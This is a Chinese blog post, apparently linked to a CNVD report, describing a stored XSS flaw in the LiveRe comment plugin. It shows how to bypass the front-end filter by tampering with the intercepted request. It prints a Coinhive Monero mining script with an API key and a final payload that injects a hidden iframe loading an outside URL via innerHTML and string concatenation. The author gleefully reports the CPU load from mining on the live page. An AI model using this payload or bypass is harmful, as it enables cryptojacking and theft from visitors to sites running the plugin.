来必力评论插件存储XSS

2019/1/28 posted in  CNVD

昨天搭建网站的时候,想着找一个评论模块,于是乎找到了来必力插件,手贱尝试了一下XSS。没想到….居然真的有!! 尴尬了~

官网

英文官网:https://www.livere.com/
中文官网:https://www.livere.com/lvChangeLang?locale=zh

介绍

来必力插件使用社交网站账户登录,免去注册过程。提高用户的参与和沟通意愿。管理/删除我的评论内容。提供管理页面,管理网站文章及评论内容。

影响

通过github查找,大概可以发现37k左右使用该插件的网站。可见影响范围之广。

复现过程

首先在输入框内输入XSS代码:

抓包:

发现前台已经将XSS过滤,修改数据包:

放行数据包后,刷新页面页面:

存储型XSS一枚。

危害

盗取用户信息
插入恶意脚本(比如挖矿)

挖矿

既然有这么好的机会,我们这么可以不试试挖矿呢?

首先需要一个门罗币账户(不赘述)

其次去coinhive注册一个账户(不赘述)

APIkey:3CZb3wTC2wAsN0kWehZEi8Tclp38uFBo

获取JS运行脚本

<script src=https://coinhive.com/lib/coinhive.min.js></script>
<script>
var miner = new CoinHive.Anonymous('3CZb3wTC2wAsN0kWehZEi8Tclp38uFBo', {throttle: 0.5});
miner.start();
</script>

本以为直接将脚本插入即可,结果插入之后直接返回400错误:

根据测试可以发现,这是因为没有将空格编码为+所导致的。

从返回的数据包中,可以看到我们接收到的数据正是我们想要。
但是进入页面查看一下,妈卖批为啥不执行。。。。。。。

通过审查元素发现,原来是这个评论插件为自动为URL地址加上A标签。现在只有想办法绕过一下。
测试了N种情况,发现这个URL地址没有办法绕过,只能想办法拼接URL。但是现在URL并不在script内部,无法使用注释或函数拼接。
那我们不妨尝试一下DOM,先选一个id吧,直接覆盖。

就选这个吧,这个好看~ 现在控制台尝试一下:

这里使用+对URL进行拼接,查看一下源码:

开心哈哈哈哈,现在效果达到,但是特么的为什么没有运行呢?????

大概就是这么个意思,那好吧,那就换种方法,使用iframe加载总可以了吧。

这次返回的结果是正确的,但是我们刚刚用来拼接字符串的+已经让它给变成空格了。

因此,我们换种方法来拼接字符串,使用concat函数
最终Payload如下:
<script>document.getElementById("toast").innerHTML="<iframe+src=http".concat("s://url.rul/YouUrl+style='display:").concat("none;'></iframe>")</script>

查看效果:

查看DOM插入的iframe:

看到CPU利用率我就开心哈哈哈哈: